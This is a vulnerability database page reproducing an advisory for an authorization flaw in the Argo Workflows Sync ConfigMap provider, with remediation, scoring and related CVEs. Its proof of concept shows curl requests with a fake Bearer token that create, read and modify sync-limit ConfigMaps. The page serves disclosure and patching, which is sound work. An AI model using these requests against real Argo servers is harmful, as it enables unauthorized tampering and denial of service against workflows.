Loading...
Skip to main content

CVE-2026-42297 — Argo has Missing Authorization in...

HIGH

Argo has Missing Authorization in its Sync ConfigMap Provider

Published May 4, 2026Updated September 10, 2026Source: osv

Summary

### Summary The Sync Service's ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. ### Details The ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks: ```go // sync_cm.go — UNPROTECTED func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) { // NO auth.CanI check kubeClient := auth.GetKubeClient(ctx) configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace) // ... directly creates/updates ConfigMaps } ``` - `server/sync/sync_cm.go` — lines 23-155 - All four SyncService endpoints: `CreateSyncLimit`, `GetSyncLimit`, `UpdateSyncLimit`, `DeleteSyncLimit` ### PoC ### Prerequisites - Argo Server running with `--auth-mode=server` - Port-forward: `kubectl port-forward -n argo svc/argo-server 2746:2746` ### Step 1: Create Sync Limit (Fake Token) ```bash curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}' ``` **Result:** `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}` Verify ConfigMap was created in Kubernetes: ```bash kubectl get configmap test-sync -n default ``` ``` NAME DATA AGE test-sync 1 74s ``` ### Step 2: Read Sync Limit (Fake Token) ```bash curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \ -H "Authorization: Bearer fake-token" ``` **Result:** `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}` ### Step 3: Update Sync Limit (Fake Token) ```bash curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}' ``` **Result:** `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}` Verify the ConfigMap was actually modified: ```bash kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}' ``` ``` 999 ``` ### Impact An attacker with network access to the Argo Server can: 1. **Denial of Service** — Set sync limits to `0` or `1`, blocking all parallel workflow execution 2. **Workflow Disruption** — Modify existing sync limits to break running workflows 3. **Information Disclosure** — Read ConfigMap data that may contain sensitive configuration 4. **Arbitrary ConfigMap Manipulation** — Create/delete ConfigMaps in any namespace accessible to the server's service account ## Related CVEs - **CVE-2026-28229** (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing `auth.CanI` check) - **CVE-2024-53862** (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern

Advisory Timeline

  • First published May 4, 2026 (161 days ago).
  • Last revised September 10, 2026 — 128 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/argoproj/argo-workflows/v4 to 4.0.5 or later
go get github.com/argoproj/argo-workflows/v4@v4.0.5

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/argoproj/argo-workflows/v4
go
All versions4.0.5

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-862
    Missing AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H

Frequently Asked Questions

What is CVE-2026-42297?
Argo has Missing Authorization in its Sync ConfigMap Provider This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.9/10).
How do I check if my project is affected by CVE-2026-42297?
CVE-2026-42297 affects github.com/argoproj/argo-workflows/v4. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42297 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.9

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-xchc-cqwg-g76q
BIT-argo-workflows-2026-42297
GO-2026-5751

Related CVEs

  • CVE-2025-47933
    CRITICAL

    Argo CD allows cross-site scripting on repositories page

  • CVE-2024-31989
    CRITICAL

    ArgoCD Vulnerable to Use of Risky or Missing Cryptographic Algorithms in Redis Cache

  • CVE-2022-31035
    CRITICAL

    Argo CD's external URLs for Deployments can include JavaScript

  • CVE-2024-28175
    CRITICAL

    Cross-site scripting on application summary component

  • CVE-2026-42296
    HIGH

    Argo has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure

  • CVE-2026-31892
    HIGH

    Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode

  • CVE-2026-54526
    HIGH

    Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892)

  • CVE-2026-55797
    HIGH

    Argo CD repo-server command injection via crafted SSH repository SOCKS5 proxy URL

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies